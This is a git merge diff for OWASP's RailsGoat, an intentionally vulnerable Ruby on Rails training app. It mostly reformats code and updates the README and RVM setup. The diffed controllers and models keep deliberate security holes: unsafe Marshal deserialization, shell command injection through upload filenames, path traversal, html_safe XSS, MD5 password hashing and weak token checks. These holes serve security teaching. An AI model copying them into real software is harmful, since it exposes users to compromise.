Merge branch 'pr-136'
This commit is contained in:
@@ -1,4 +1,9 @@
|
|||||||
if [ -f "$rvm_path/scripts/rvm" ] && [ -f ".rvmrc" ]; then
|
if [ -f "${rvm_path}/scripts/rvm" ]; then
|
||||||
source "$rvm_path/scripts/rvm"
|
source "${rvm_path}/scripts/rvm"
|
||||||
source ".rvmrc"
|
|
||||||
|
if [ -f ".rvmrc" ]; then
|
||||||
|
source ".rvmrc"
|
||||||
|
elif [ -f ".ruby-version" ] && [ -f ".ruby-gemset" ]; then
|
||||||
|
rvm use `cat .ruby-version`@`cat .ruby-gemset`
|
||||||
|
fi
|
||||||
fi
|
fi
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
railsgoat
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
2.1.2
|
||||||
+1
-1
@@ -1,6 +1,6 @@
|
|||||||
The MIT License (MIT)
|
The MIT License (MIT)
|
||||||
|
|
||||||
Copyright (c) 2013 The Open Web Application Security Project
|
Copyright (c) 2013-2014 The Open Web Application Security Project
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
|||||||
@@ -4,13 +4,10 @@ RailsGoat is a vulnerable version of the Ruby on Rails Framework. It includes vu
|
|||||||
|
|
||||||
## Getting Started
|
## Getting Started
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
To begin, install the Ruby Version Manager (RVM):
|
To begin, install the Ruby Version Manager (RVM):
|
||||||
|
|
||||||
```
|
```
|
||||||
$ curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=1.9.3
|
$ curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.1.2
|
||||||
$ rvm use 2.1.2@railsgoat --create # https://rvm.io/
|
|
||||||
```
|
```
|
||||||
|
|
||||||
After installing the package, clone this repo:
|
After installing the package, clone this repo:
|
||||||
@@ -19,22 +16,7 @@ After installing the package, clone this repo:
|
|||||||
$ git clone git@github.com:OWASP/railsgoat.git
|
$ git clone git@github.com:OWASP/railsgoat.git
|
||||||
```
|
```
|
||||||
|
|
||||||
Navigate into the directory and accept the notice by typing `yes`:
|
Navigate into the directory and install the dependencies:
|
||||||
```
|
|
||||||
****************************************************************************************************
|
|
||||||
* NOTICE *
|
|
||||||
****************************************************************************************************
|
|
||||||
* RVM has encountered a new or modified .rvmrc file in the current directory, this is a shell *
|
|
||||||
* script and therefore may contain any shell commands. *
|
|
||||||
* *
|
|
||||||
* Examine the contents of this file carefully to be sure the contents are safe before trusting it! *
|
|
||||||
* Do you wish to trust '/path/to/railsgoat/.rvmrc'? *
|
|
||||||
* Choose v[view] below to view the contents *
|
|
||||||
****************************************************************************************************
|
|
||||||
y[es], n[o], v[iew], c[cancel]>
|
|
||||||
```
|
|
||||||
|
|
||||||
Install the project dependencies:
|
|
||||||
|
|
||||||
```
|
```
|
||||||
$ bundle install
|
$ bundle install
|
||||||
@@ -52,7 +34,7 @@ Initialize the database:
|
|||||||
$ rake db:setup
|
$ rake db:setup
|
||||||
```
|
```
|
||||||
|
|
||||||
Start the WEBrick HTTP Server:
|
Start the Thin web server:
|
||||||
|
|
||||||
```
|
```
|
||||||
$ rails server
|
$ rails server
|
||||||
@@ -101,7 +83,7 @@ Conversion to the OWASP Top Ten 2013 completed in November, 2013.
|
|||||||
|
|
||||||
The MIT License (MIT)
|
The MIT License (MIT)
|
||||||
|
|
||||||
Copyright (c) 2013 The Open Web Application Security Project
|
Copyright (c) 2013-2014 The Open Web Application Security Project
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
class AdminController < ApplicationController
|
class AdminController < ApplicationController
|
||||||
|
|
||||||
before_filter :administrative, :if => :admin_param
|
before_filter :administrative, :if => :admin_param
|
||||||
skip_before_filter :has_info
|
skip_before_filter :has_info
|
||||||
|
|
||||||
@@ -67,5 +66,4 @@ class AdminController < ApplicationController
|
|||||||
def admin_param
|
def admin_param
|
||||||
params[:admin_id] != '1'
|
params[:admin_id] != '1'
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
class Api::V1::MobileController < ApplicationController
|
class Api::V1::MobileController < ApplicationController
|
||||||
|
|
||||||
skip_before_filter :authenticated
|
skip_before_filter :authenticated
|
||||||
before_filter :mobile_request?
|
before_filter :mobile_request?
|
||||||
|
|
||||||
@@ -30,5 +29,4 @@ class Api::V1::MobileController < ApplicationController
|
|||||||
request.user_agent =~ /ios|android/i
|
request.user_agent =~ /ios|android/i
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,57 +1,54 @@
|
|||||||
class Api::V1::UsersController < ApplicationController
|
class Api::V1::UsersController < ApplicationController
|
||||||
|
skip_before_filter :authenticated
|
||||||
|
before_filter :valid_api_token
|
||||||
|
before_filter :extrapolate_user
|
||||||
|
|
||||||
skip_before_filter :authenticated
|
respond_to :json
|
||||||
before_filter :valid_api_token
|
|
||||||
before_filter :extrapolate_user
|
|
||||||
|
|
||||||
respond_to :json
|
def index
|
||||||
|
# We removed the .as_json code from the model, just seemed like extra work.
|
||||||
|
# dunno, maybe useful at a later time?
|
||||||
|
#respond_with @user.admin ? User.all.as_json : @user.as_json
|
||||||
|
respond_with @user.admin ? User.all : @user
|
||||||
|
end
|
||||||
|
|
||||||
def index
|
def show
|
||||||
# We removed the .as_json code from the model, just seemed like extra work.
|
respond_with @user.as_json
|
||||||
# dunno, maybe useful at a later time?
|
end
|
||||||
#respond_with @user.admin ? User.all.as_json : @user.as_json
|
|
||||||
|
|
||||||
respond_with @user.admin ? User.all : @user
|
private
|
||||||
end
|
|
||||||
|
|
||||||
def show
|
def valid_api_token
|
||||||
respond_with @user.as_json
|
authenticate_or_request_with_http_token do |token, options|
|
||||||
end
|
# TODO :add some functionality to check if the HTTP Header is valid
|
||||||
|
identify_user(token)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
private
|
def identify_user(token="")
|
||||||
|
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
||||||
|
# we will go ahead and unescape the user's token
|
||||||
|
unescape_token(token)
|
||||||
|
@clean_token =~ /(.*?)-(.*)/
|
||||||
|
id = $1
|
||||||
|
hash = $2
|
||||||
|
(id && hash) ? true : false
|
||||||
|
check_hash(id, hash) ? true : false
|
||||||
|
end
|
||||||
|
|
||||||
def valid_api_token
|
def check_hash(id, hash)
|
||||||
authenticate_or_request_with_http_token do |token, options|
|
digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")
|
||||||
# TODO :add some functionality to check if the HTTP Header is valid
|
hash == digest
|
||||||
identify_user(token)
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def identify_user(token="")
|
# We had some issues with the token and url encoding...
|
||||||
# We've had issues with URL encoding, etc. causing issues so just to be safe
|
# this is an attempt to normalize the data.
|
||||||
# we will go ahead and unescape the user's token
|
def unescape_token(token="")
|
||||||
unescape_token(token)
|
@clean_token = CGI::unescape(token)
|
||||||
@clean_token =~ /(.*?)-(.*)/
|
end
|
||||||
id = $1
|
|
||||||
hash = $2
|
|
||||||
(id && hash) ? true : false
|
|
||||||
check_hash(id, hash) ? true : false
|
|
||||||
end
|
|
||||||
|
|
||||||
def check_hash(id, hash)
|
|
||||||
digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")
|
|
||||||
hash == digest
|
|
||||||
end
|
|
||||||
|
|
||||||
# We had some issues with the token and url encoding...
|
|
||||||
# this is an attempt to normalize the data.
|
|
||||||
def unescape_token(token="")
|
|
||||||
@clean_token = CGI::unescape(token)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Added a method to make it easy to figure out who the user is.
|
|
||||||
def extrapolate_user
|
|
||||||
@user = User.find_by_id(@clean_token.split("-").first)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
# Added a method to make it easy to figure out who the user is.
|
||||||
|
def extrapolate_user
|
||||||
|
@user = User.find_by_id(@clean_token.split("-").first)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
class ApplicationController < ActionController::Base
|
class ApplicationController < ActionController::Base
|
||||||
|
|
||||||
before_filter :authenticated, :has_info, :create_analytic
|
before_filter :authenticated, :has_info, :create_analytic
|
||||||
helper_method :current_user, :is_admin?, :sanitize_font
|
helper_method :current_user, :is_admin?, :sanitize_font
|
||||||
|
|
||||||
@@ -53,5 +52,4 @@ class ApplicationController < ActionController::Base
|
|||||||
css
|
css
|
||||||
# css if css.match(/\A[0-9]+([\%]|pt)\z/)
|
# css if css.match(/\A[0-9]+([\%]|pt)\z/)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ class BenefitFormsController < ApplicationController
|
|||||||
@benefits = Benefits.new
|
@benefits = Benefits.new
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def download
|
def download
|
||||||
begin
|
begin
|
||||||
path = params[:name]
|
path = params[:name]
|
||||||
@@ -26,7 +25,6 @@ class BenefitFormsController < ApplicationController
|
|||||||
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
=begin
|
=begin
|
||||||
# More secure version
|
# More secure version
|
||||||
def download
|
def download
|
||||||
@@ -47,6 +45,4 @@ class BenefitFormsController < ApplicationController
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
=end
|
=end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
class DashboardController < ApplicationController
|
class DashboardController < ApplicationController
|
||||||
|
|
||||||
skip_before_filter :has_info
|
skip_before_filter :has_info
|
||||||
|
|
||||||
def home
|
def home
|
||||||
@@ -10,5 +9,4 @@ class DashboardController < ApplicationController
|
|||||||
cookies[:font] = params[:font]
|
cookies[:font] = params[:font]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -33,5 +33,4 @@ class MessagesController < ApplicationController
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
@@ -1,7 +1,6 @@
|
|||||||
class PasswordResetsController < ApplicationController
|
class PasswordResetsController < ApplicationController
|
||||||
skip_before_filter :authenticated
|
skip_before_filter :authenticated
|
||||||
|
|
||||||
|
|
||||||
def reset_password
|
def reset_password
|
||||||
user = Marshal.load(Base64.decode64(params[:user])) unless params[:user].nil?
|
user = Marshal.load(Base64.decode64(params[:user])) unless params[:user].nil?
|
||||||
|
|
||||||
|
|||||||
@@ -39,5 +39,4 @@ class PayController < ApplicationController
|
|||||||
format.json {render :json => {:account_num => decrypted || "No Data" }}
|
format.json {render :json => {:account_num => decrypted || "No Data" }}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -3,5 +3,4 @@ class PerformanceController < ApplicationController
|
|||||||
def index
|
def index
|
||||||
@perf = current_user.performance
|
@perf = current_user.performance
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -3,5 +3,4 @@ class RetirementController < ApplicationController
|
|||||||
def index
|
def index
|
||||||
@info = current_user.retirement
|
@info = current_user.retirement
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
class ScheduleController < ApplicationController
|
class ScheduleController < ApplicationController
|
||||||
|
|
||||||
def create
|
def create
|
||||||
message = false
|
message = false
|
||||||
|
|
||||||
@@ -55,5 +56,4 @@ class ScheduleController < ApplicationController
|
|||||||
end
|
end
|
||||||
return vals
|
return vals
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,35 +1,34 @@
|
|||||||
class SessionsController < ApplicationController
|
class SessionsController < ApplicationController
|
||||||
|
|
||||||
skip_before_filter :has_info
|
skip_before_filter :has_info
|
||||||
skip_before_filter :authenticated, :only => [:new, :create]
|
skip_before_filter :authenticated, :only => [:new, :create]
|
||||||
|
|
||||||
def new
|
def new
|
||||||
@url = params[:url]
|
@url = params[:url]
|
||||||
redirect_to home_dashboard_index_path if current_user
|
redirect_to home_dashboard_index_path if current_user
|
||||||
end
|
end
|
||||||
|
|
||||||
def create
|
def create
|
||||||
path = params[:url].present? ? params[:url] : home_dashboard_index_path
|
path = params[:url].present? ? params[:url] : home_dashboard_index_path
|
||||||
begin
|
begin
|
||||||
# Normalize the email address, why not
|
# Normalize the email address, why not
|
||||||
user = User.authenticate(params[:email].to_s.downcase, params[:password])
|
user = User.authenticate(params[:email].to_s.downcase, params[:password])
|
||||||
# @url = params[:url]
|
# @url = params[:url]
|
||||||
rescue Exception => e
|
rescue Exception => e
|
||||||
end
|
end
|
||||||
|
|
||||||
if user
|
if user
|
||||||
if params[:remember_me]
|
if params[:remember_me]
|
||||||
cookies.permanent[:auth_token] = user.auth_token if User.where(:user_id => user.user_id).exists?
|
cookies.permanent[:auth_token] = user.auth_token if User.where(:user_id => user.user_id).exists?
|
||||||
else
|
|
||||||
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
|
||||||
end
|
|
||||||
redirect_to path
|
|
||||||
else
|
else
|
||||||
# Removed this code, just doesn't seem specific enough!
|
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
||||||
# flash[:error] = "Either your username and password is incorrect"
|
|
||||||
flash[:error] = e.message
|
|
||||||
render "new"
|
|
||||||
end
|
end
|
||||||
|
redirect_to path
|
||||||
|
else
|
||||||
|
# Removed this code, just doesn't seem specific enough!
|
||||||
|
# flash[:error] = "Either your username and password is incorrect"
|
||||||
|
flash[:error] = e.message
|
||||||
|
render "new"
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def destroy
|
def destroy
|
||||||
@@ -37,5 +36,4 @@ class SessionsController < ApplicationController
|
|||||||
reset_session
|
reset_session
|
||||||
redirect_to root_path
|
redirect_to root_path
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
class TutorialsController < ApplicationController
|
class TutorialsController < ApplicationController
|
||||||
|
|
||||||
skip_before_filter :has_info
|
skip_before_filter :has_info
|
||||||
skip_before_filter :authenticated
|
skip_before_filter :authenticated
|
||||||
|
|
||||||
@@ -18,16 +17,16 @@ class TutorialsController < ApplicationController
|
|||||||
end
|
end
|
||||||
|
|
||||||
def xss
|
def xss
|
||||||
@code = %{
|
@code = %{
|
||||||
<li style="color: #FFFFFF">
|
<li style="color: #FFFFFF">
|
||||||
<!--
|
<!--
|
||||||
I'm going to use HTML safe because we had some weird stuff
|
I'm going to use HTML safe because we had some weird stuff
|
||||||
going on with funny chars and jquery, plus it says safe so I'm guessing
|
going on with funny chars and jquery, plus it says safe so I'm guessing
|
||||||
nothing bad will happen
|
nothing bad will happen
|
||||||
-->
|
-->
|
||||||
Welcome, <%= current_user.first_name.html_safe %>
|
Welcome, <%= current_user.first_name.html_safe %>
|
||||||
</li>
|
</li>
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
def broken_auth
|
def broken_auth
|
||||||
@@ -45,15 +44,15 @@ class TutorialsController < ApplicationController
|
|||||||
event.preventDefault();
|
event.preventDefault();
|
||||||
$.ajax(\{
|
$.ajax(\{
|
||||||
url: "/example",
|
url: "/example",
|
||||||
data: valuesToSubmit,
|
data: valuesToSubmit,
|
||||||
type: "POST",
|
type: "POST",
|
||||||
success: function(response) \{
|
success: function(response) \{
|
||||||
alert('success!');
|
alert('success!');
|
||||||
},
|
},
|
||||||
error: function(event) \{
|
error: function(event) \{
|
||||||
alert('failure!');
|
alert('failure!');
|
||||||
\}
|
\}
|
||||||
\});
|
\});
|
||||||
\});
|
\});
|
||||||
|
|
||||||
\} }
|
\} }
|
||||||
@@ -95,5 +94,4 @@ class TutorialsController < ApplicationController
|
|||||||
|
|
||||||
def metaprogramming
|
def metaprogramming
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,9 +1,7 @@
|
|||||||
class UsersController < ApplicationController
|
class UsersController < ApplicationController
|
||||||
|
|
||||||
skip_before_filter :has_info
|
skip_before_filter :has_info
|
||||||
skip_before_filter :authenticated, :only => [:new, :create]
|
skip_before_filter :authenticated, :only => [:new, :create]
|
||||||
|
|
||||||
|
|
||||||
def new
|
def new
|
||||||
@user = User.new
|
@user = User.new
|
||||||
end
|
end
|
||||||
@@ -52,5 +50,4 @@ class UsersController < ApplicationController
|
|||||||
redirect_to user_account_settings_path(:user_id => current_user.user_id)
|
redirect_to user_account_settings_path(:user_id => current_user.user_id)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
class WorkInfoController < ApplicationController
|
class WorkInfoController < ApplicationController
|
||||||
|
|
||||||
def index
|
def index
|
||||||
@user = User.find_by_user_id(params[:user_id])
|
@user = User.find_by_user_id(params[:user_id])
|
||||||
if !(@user) || @user.admin
|
if !(@user) || @user.admin
|
||||||
@@ -18,5 +17,4 @@ class WorkInfoController < ApplicationController
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
=end
|
=end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,16 +4,16 @@ class Analytics < ActiveRecord::Base
|
|||||||
scope :hits_by_ip, ->(ip,col="*") { select("#{col}").where(:ip_address => ip).order("id DESC")}
|
scope :hits_by_ip, ->(ip,col="*") { select("#{col}").where(:ip_address => ip).order("id DESC")}
|
||||||
|
|
||||||
def self.count_by_col(col)
|
def self.count_by_col(col)
|
||||||
calculate(:count, col)
|
calculate(:count, col)
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.parse_field(field)
|
def self.parse_field(field)
|
||||||
valid_fields = ["ip_address", "referrer", "user_agent"]
|
valid_fields = ["ip_address", "referrer", "user_agent"]
|
||||||
|
|
||||||
if valid_fields.include?(field)
|
if valid_fields.include?(field)
|
||||||
field
|
field
|
||||||
else
|
else
|
||||||
"1"
|
"1"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
+23
-24
@@ -1,20 +1,20 @@
|
|||||||
class Benefits < ActiveRecord::Base
|
class Benefits < ActiveRecord::Base
|
||||||
attr_accessor :backup
|
attr_accessor :backup
|
||||||
|
|
||||||
def self.save(file, backup=false)
|
def self.save(file, backup=false)
|
||||||
data_path = Rails.root.join("public", "data")
|
data_path = Rails.root.join("public", "data")
|
||||||
full_file_name = "#{data_path}/#{file.original_filename}"
|
full_file_name = "#{data_path}/#{file.original_filename}"
|
||||||
f = File.open(full_file_name, "wb+")
|
f = File.open(full_file_name, "wb+")
|
||||||
f.write file.read
|
f.write file.read
|
||||||
f.close
|
f.close
|
||||||
make_backup(file, data_path, full_file_name) if backup == "true"
|
make_backup(file, data_path, full_file_name) if backup == "true"
|
||||||
end
|
end
|
||||||
|
|
||||||
def self.make_backup(file, data_path, full_file_name)
|
def self.make_backup(file, data_path, full_file_name)
|
||||||
if File.exists?(full_file_name)
|
if File.exists?(full_file_name)
|
||||||
silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{file.original_filename}") }
|
silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{file.original_filename}") }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
=begin
|
=begin
|
||||||
def self.make_backup(file, data_path, full_file_name)
|
def self.make_backup(file, data_path, full_file_name)
|
||||||
@@ -22,17 +22,16 @@ class Benefits < ActiveRecord::Base
|
|||||||
end
|
end
|
||||||
=end
|
=end
|
||||||
|
|
||||||
def self.silence_streams(*streams)
|
def self.silence_streams(*streams)
|
||||||
on_hold = streams.collect { |stream| stream.dup }
|
on_hold = streams.collect { |stream| stream.dup }
|
||||||
streams.each do |stream|
|
streams.each do |stream|
|
||||||
stream.reopen(RUBY_PLATFORM =~ /mswin/ ? 'NUL:' : '/dev/null')
|
stream.reopen(RUBY_PLATFORM =~ /mswin/ ? 'NUL:' : '/dev/null')
|
||||||
stream.sync = true
|
stream.sync = true
|
||||||
end
|
end
|
||||||
yield
|
yield
|
||||||
ensure
|
ensure
|
||||||
streams.each_with_index do |stream, i|
|
streams.each_with_index do |stream, i|
|
||||||
stream.reopen(on_hold[i])
|
stream.reopen(on_hold[i])
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -2,5 +2,4 @@ class KeyManagement < ActiveRecord::Base
|
|||||||
attr_accessible :iv, :user_id
|
attr_accessible :iv, :user_id
|
||||||
belongs_to :work_info
|
belongs_to :work_info
|
||||||
belongs_to :user
|
belongs_to :user
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -14,5 +14,4 @@ class PaidTimeOff < ActiveRecord::Base
|
|||||||
def sick_days_taken_percentage
|
def sick_days_taken_percentage
|
||||||
result = self.sick_days_taken.to_f / self.sick_days_earned.to_f * 100.0
|
result = self.sick_days_taken.to_f / self.sick_days_earned.to_f * 100.0
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
class Pay < ActiveRecord::Base
|
class Pay < ActiveRecord::Base
|
||||||
|
|
||||||
# mass-assignable attributes
|
# mass-assignable attributes
|
||||||
attr_accessible :bank_account_num, :bank_routing_num, :percent_of_deposit
|
attr_accessible :bank_account_num, :bank_routing_num, :percent_of_deposit
|
||||||
|
|
||||||
@@ -21,5 +20,4 @@ class Pay < ActiveRecord::Base
|
|||||||
def encrypt_bank_account_num
|
def encrypt_bank_account_num
|
||||||
self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num)
|
self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
+12
-14
@@ -1,7 +1,6 @@
|
|||||||
require 'encryption'
|
require 'encryption'
|
||||||
|
|
||||||
class User < ActiveRecord::Base
|
class User < ActiveRecord::Base
|
||||||
|
|
||||||
attr_accessible :email, :admin, :first_name, :last_name, :user_id, :password, :password_confirmation
|
attr_accessible :email, :admin, :first_name, :last_name, :user_id, :password, :password_confirmation
|
||||||
validates :password, :presence => true,
|
validates :password, :presence => true,
|
||||||
:confirmation => true,
|
:confirmation => true,
|
||||||
@@ -49,18 +48,18 @@ class User < ActiveRecord::Base
|
|||||||
end
|
end
|
||||||
=end
|
=end
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
def self.authenticate(email, password)
|
def self.authenticate(email, password)
|
||||||
auth = nil
|
auth = nil
|
||||||
user = find_by_email(email)
|
user = find_by_email(email)
|
||||||
raise "#{email} doesn't exist!" if !(user)
|
raise "#{email} doesn't exist!" if !(user)
|
||||||
if user.password == Digest::MD5.hexdigest(password)
|
if user.password == Digest::MD5.hexdigest(password)
|
||||||
auth = user
|
auth = user
|
||||||
else
|
else
|
||||||
raise "Incorrect Password!"
|
raise "Incorrect Password!"
|
||||||
end
|
end
|
||||||
return auth
|
return auth
|
||||||
end
|
end
|
||||||
|
|
||||||
=begin
|
=begin
|
||||||
@@ -76,11 +75,11 @@ private
|
|||||||
=end
|
=end
|
||||||
|
|
||||||
def assign_user_id
|
def assign_user_id
|
||||||
unless @skip_user_id_assign.present? || self.user_id.present?
|
unless @skip_user_id_assign.present? || self.user_id.present?
|
||||||
user = User.order("user_id").last
|
user = User.order("user_id").last
|
||||||
uid = user.user_id.to_i + 1 if user && user.user_id && !(User.exists?(:user_id => "#{user.user_id.to_i + 1}"))
|
uid = user.user_id.to_i + 1 if user && user.user_id && !(User.exists?(:user_id => "#{user.user_id.to_i + 1}"))
|
||||||
self.user_id = uid.to_s if uid
|
self.user_id = uid.to_s if uid
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def hash_password
|
def hash_password
|
||||||
@@ -96,5 +95,4 @@ private
|
|||||||
self[column] = Encryption.encrypt_sensitive_value(self.user_id)
|
self[column] = Encryption.encrypt_sensitive_value(self.user_id)
|
||||||
end while User.exists?(column => self[column])
|
end while User.exists?(column => self[column])
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
+12
-14
@@ -4,27 +4,26 @@ class WorkInfo < ActiveRecord::Base
|
|||||||
has_one :key_management, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy
|
has_one :key_management, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy
|
||||||
#before_save :encrypt_ssn
|
#before_save :encrypt_ssn
|
||||||
|
|
||||||
|
|
||||||
# We should probably use this
|
# We should probably use this
|
||||||
def last_four
|
def last_four
|
||||||
"***-**-" << self.decrypt_ssn[-4,4]
|
"***-**-" << self.decrypt_ssn[-4,4]
|
||||||
end
|
end
|
||||||
|
|
||||||
def encrypt_ssn
|
def encrypt_ssn
|
||||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||||
aes.encrypt
|
aes.encrypt
|
||||||
aes.key = key
|
aes.key = key
|
||||||
aes.iv = iv if iv != nil
|
aes.iv = iv if iv != nil
|
||||||
self.encrypted_ssn = aes.update(self.SSN) + aes.final
|
self.encrypted_ssn = aes.update(self.SSN) + aes.final
|
||||||
self.SSN = nil
|
self.SSN = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
def decrypt_ssn
|
def decrypt_ssn
|
||||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||||
aes.decrypt
|
aes.decrypt
|
||||||
aes.key = key
|
aes.key = key
|
||||||
aes.iv = iv if iv != nil
|
aes.iv = iv if iv != nil
|
||||||
aes.update(self.encrypted_ssn) + aes.final
|
aes.update(self.encrypted_ssn) + aes.final
|
||||||
end
|
end
|
||||||
|
|
||||||
def key
|
def key
|
||||||
@@ -40,5 +39,4 @@ class WorkInfo < ActiveRecord::Base
|
|||||||
def cipher_type
|
def cipher_type
|
||||||
'aes-256-cbc'
|
'aes-256-cbc'
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,70 +1,60 @@
|
|||||||
<div class="dashboard-wrapper">
|
<div class="dashboard-wrapper">
|
||||||
<div class="main-container">
|
<div class="main-container">
|
||||||
<div class="row-fluid">
|
<div class="row-fluid">
|
||||||
<div class="span12">
|
<div class="span12">
|
||||||
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
|
||||||
<h4 class="alert-heading">
|
<h4 class="alert-heading">Success!</h4>
|
||||||
Success!
|
<p>User information successfully updated.</p>
|
||||||
</h4>
|
</div>
|
||||||
<p>
|
</div>
|
||||||
User information successfully updated.
|
</div>
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="row-fluid">
|
|
||||||
<div class="span12">
|
|
||||||
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
|
||||||
<h4 class="alert-heading">
|
|
||||||
Error!
|
|
||||||
</h4>
|
|
||||||
<p>
|
|
||||||
Something went wrong.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="row-fluid">
|
|
||||||
<div class="span12">
|
|
||||||
<div class="widget">
|
|
||||||
<div class="widget-header">
|
|
||||||
<div class="title">
|
|
||||||
<span class="fs1" aria-hidden="true" data-icon=""></span>
|
|
||||||
Manage Users
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div id="userDataTable" class="widget-body">
|
|
||||||
|
|
||||||
</div> <!-- End widget-body-->
|
<div class="row-fluid">
|
||||||
</div> <!-- End widget header-->
|
<div class="span12">
|
||||||
</div>
|
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
|
||||||
</div>
|
<h4 class="alert-heading">Error!</h4>
|
||||||
</div>
|
<p>Something went wrong.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row-fluid">
|
||||||
|
<div class="span12">
|
||||||
|
<div class="widget">
|
||||||
|
<div class="widget-header">
|
||||||
|
<div class="title">
|
||||||
|
<span class="fs1" aria-hidden="true" data-icon=""></span>Manage Users
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="userDataTable" class="widget-body">
|
||||||
|
</div> <!-- End widget-body-->
|
